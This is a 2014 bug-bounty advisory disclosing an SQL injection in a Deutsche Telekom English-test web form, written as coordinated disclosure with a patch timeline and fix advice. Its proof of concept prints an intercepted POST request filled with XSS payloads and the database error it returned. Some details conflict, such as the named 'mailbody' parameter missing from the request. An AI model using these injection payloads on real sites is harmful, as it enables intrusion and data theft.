German Telekom Bug Bounty #11 - Remote SQL Injection Vulnerability

From: Vulnerability Lab <>
Subject: German Telekom Bug Bounty #11 - Remote SQL Injection Vulnerability

Document Title:
German Telekom Bug Bounty #11 - SQL Injection Vulnerability

References (Source):

Dev Article:

Exclusive News:

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Deutsche Telekom AG (English: German Telecom) is a German telecommunications company headquartered in Bonn, 
North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the former state-owned monopoly 
Deutsche Bundespost was privatized. As of June 2008, the German government still holds a 15% stake in company 
stock directly, and another 17% through the government bank KfW.

(Copy of the Homepage:  &  )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a remote SQL Injection web vulnerability in the official Telekom website web-application.

Vulnerability Disclosure Timeline:
2013-12-30: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2013-12-30: Vendor Notification (Telekom CERT Security Team)
2014-01-02: Vendor Response/Feedback (Telekom CERT Security Team)
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000)
2014-02-06: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Technical Details & Description:
A remote SQL Injection web vulnerability has been discovered in the official Telekom (English) Fitness Check website web application.
The vulnerability allows remote attackers to inject unauthorized own sql statements to compromise the affected web-application or dbms.

The sql injection vulnerability is located in `englishtest2004/test.asp` file of the englishtest2004 module (path). After executing 
the query through the test.asp page, the query`s result can be seen from a `500 error` returned by the `test.asp` page. The connected 
vulnerable parameter in the `test.aspx` file is `mailbody` that is passed through the POST method request. The SQL injection bug is in 
the INSERT statement. Other paramaters like VORNAME, Email, PLZ, TELEFON can be accessed by usage of a malicious insert statement. 

The security risk of the sql injection vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.3(+).

Exploitation of the remote sql injection web vulnerability requires NO user interaction or a privileged web-application user account.
Successful exploitation of the remote pre-auth sql injection results in dbms, web-server and web-application (context) compromise.

Vulnerable Module(s):
                               [+] /englishtest2004/

Vulnerable File(s):
                         [+] /englishtest2004/test.asp
Vulnerable Parameter(s):
                            [+] mailbody

Proof of Concept (PoC):
The SQL injection vulnerability can be exploited by remote attackers without privileged application user account and without required user inter action. For demonstration or reproduce ...

a) The attacker should visit the main page to take the test
b) The attacker should keep clicking on next until he reaches the final step in the test which is the page of  "Registration for the Fitness Check"
c) In the form of registering the test, we have many fields.
We fill the  up the vulnerable fields and then click on "Register" button

d) The attacker then should intercept the request and edit the "mailbody" paremter to an apsrophe that will generate the SQL error 

e) After forwarding the request, we will find the SQL error in the INSERT statement echoed back in the page

The post request that has been used to reproduce the image is:

POST /englishtest2004/test.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 483

response=/englishtest2004/html/starttest.htm&'&NAME="><img src=x onerror=alert(1)>&VORNAME="><img src=x onerror=alert(1)>&PLZ="><img src=x onerror=alert(1)>&EMAIL="><img src=x onerror=alert(1)>&TELEFON="><img src=x onerror=alert(1)>&ORT="><img src=x onerror=alert(1)>

After forwarding the post request, a response will be received from the server similar to this:

HTTP/1.1 500 Internal Server Error
Date: Thu, 02 Jan 2014 03:49:47 GMT
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Content-Length: 572
Content-Type: text/html
Cache-control: private

insert into  Sprachtest(Name, Vorname,PersNr,Telefon,Fax, Ergebnis)VALUES ('"><img src=x onerror=alert(1)>','"><img src=x onerror=alert(1)>','','"><img src=x onerror ',' ','''); <font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>error '80040e14'</font>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Kein schlieendes Anfhrungszeichen nach der Zeichenfolge '');'.</font>
<font face="Arial" size=2>/englishtest2004/test.asp</font><font face="Arial" size=2>, line 23</font> 

Solution - Fix & Patch:
The vulnerability can be patched by the implement of a prepared statement in the unsecure location request.
Encode the vulnerable filetypes and filelist parameter to prevent further injection attacks.

Security Risk:
The security risk of the remote sql injection web vulnerability is estimated as critical with a cvss count of 8.3.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed ( []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:         -                             -
Contact:      -               -
Section:  -                   -
Social:!/vuln_lab             -                -
Feeds:   -   -

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ( or to get a permission.

                         Copyright  2014 | Vulnerability Laboratory [Evolution Security]


Copyright © 1995-2020 All rights reserved.